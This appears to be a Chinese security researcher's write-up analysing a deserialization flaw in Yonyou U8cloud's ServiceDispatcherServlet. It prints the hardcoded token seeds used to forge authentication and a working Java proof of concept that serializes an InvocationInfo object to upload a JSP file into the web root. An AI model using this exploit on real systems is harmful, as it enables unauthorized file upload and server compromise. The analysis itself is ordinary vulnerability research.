用友U8cloud ServiceDispatcherServlet 分析
llx@深信服北京天雄战队ServiceDispatcherServlet反序列化绕过实现文件上传1漏洞接口代码分析接口具体对应类:跟进execcall方法:可以看到这个readObject方法现在是只能序列化InvocationInfo类了,不过往后面看:先验证了一下token,然后到invokeBeanMethod方法中,将反序列化之后的invInfo对象的module、service、met
llx@深信服北京天雄战队
ServiceDispatcherServlet反序列化绕过实现文件上传1
漏洞接口
/ServiceDispatcherServlet代码分析
接口具体对应类:


跟进execcall方法:


可以看到这个readObject方法现在是只能序列化InvocationInfo类了,不过往后面看:

先验证了一下token,然后到invokeBeanMethod方法中,将反序列化之后的invInfo对象的module、service、method、parameter传进去:

可以很明显的看到是通过反射去调用方法,所以我们只需要找一个类的方法可以上传之类的就ok,历史漏洞esnserver用到的一个类:nc.impl.hr.tools.trans.FileTransImpl#uploadFile:

现在大概知道了是怎么构造poc,我们再回去看看呢个验证token是怎么验证的:
会去验证ip以及服务,然后进入到vertifyTokenIllegal方法中:


获取userCode:

而这个usercode是我们要序列化的类,所以可控:

随后将usercode传入到gentoken里面:

看这个getTokenSeed是如何获取的:



可以看到有两种情况,一种是从/ierp/bin/token/tokenSeed.conf中去取tokenseed的值,另一种就直接是232asfdsjkfmsdgldfg:
而tokenSeed.conf中tokenseed的值是写死的:
ab7d823e-03ef-39c1-9947-060a0a08b931
因为这些值都是写死的,所以我们也就可以伪造token了。
所以现在的最后一步就是去构造序列化数据了。
先进入readObject去看看:



上面可以看出是判断了是否为对应类及其子类,若是才会反序列化。所以我们最终需要构造的就是一个InvocationInfo类,然后设置许多我们想要的值。
构造
构造记得要添加对应依赖jar包:
public class Serial {
public static void main(String[] args) throws Exception {
byte[] data = createData("D:\\Java\\用友\\U8cloud\\U8CERP\\external\\llx.jsp");
Object[] params = {data, ".\\webapps\\u8c_web\\llx.jsp"};
// InvocationSon is = new InvocationSon("nc.itf.hr.tools.IFileTrans","uploadFile", new Class[]{byte[].class, String.class}, params);
InvocationInfo invocationInfo = new InvocationInfo("nc.itf.hr.tools.IFileTrans","uploadFile", new Class[]{byte[].class, String.class}, params);
invocationInfo.setToken("deb632f79c09e2c04ab18c50ef7de636");
invocationInfo.setUserCode("#UAP#");
FileOutputStream fos = new FileOutputStream("./llx.ser");
NetObjectOutputStream.writeObject(fos, invocationInfo);
}
public static byte[] createData(String filePath) throws IOException {
File file = new File(filePath);
byte[] fileBytes = new byte[(int) file.length()];
FileInputStream fis = new FileInputStream(file);
fis.read(fileBytes);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ZipOutputStream zos = new ZipOutputStream(baos);
ZipEntry entry = new ZipEntry("compressed");
zos.putNextEntry(entry);
zos.write(fileBytes);
zos.closeEntry();
zos.close();
return baos.toByteArray();
}
}

ServiceDispatcherServlet反序列化绕过实现文件上传2
同样的还是这个接口,只不过利用的类有一定的变化:
利用的是IPFxxFileService类的writeDocToXMLFile方法:



构造序列化数据跟第一个大差不差,只是把类以及方法变化即可。
参考链接:
通过分析ServiceDispatcherServlet接口反序列化漏洞,绕过token验证并构造InvocationInfo对象,利用特定类方法实现任意文件上传。
由 AI 根据全文自动生成,仅供参考,以原文为准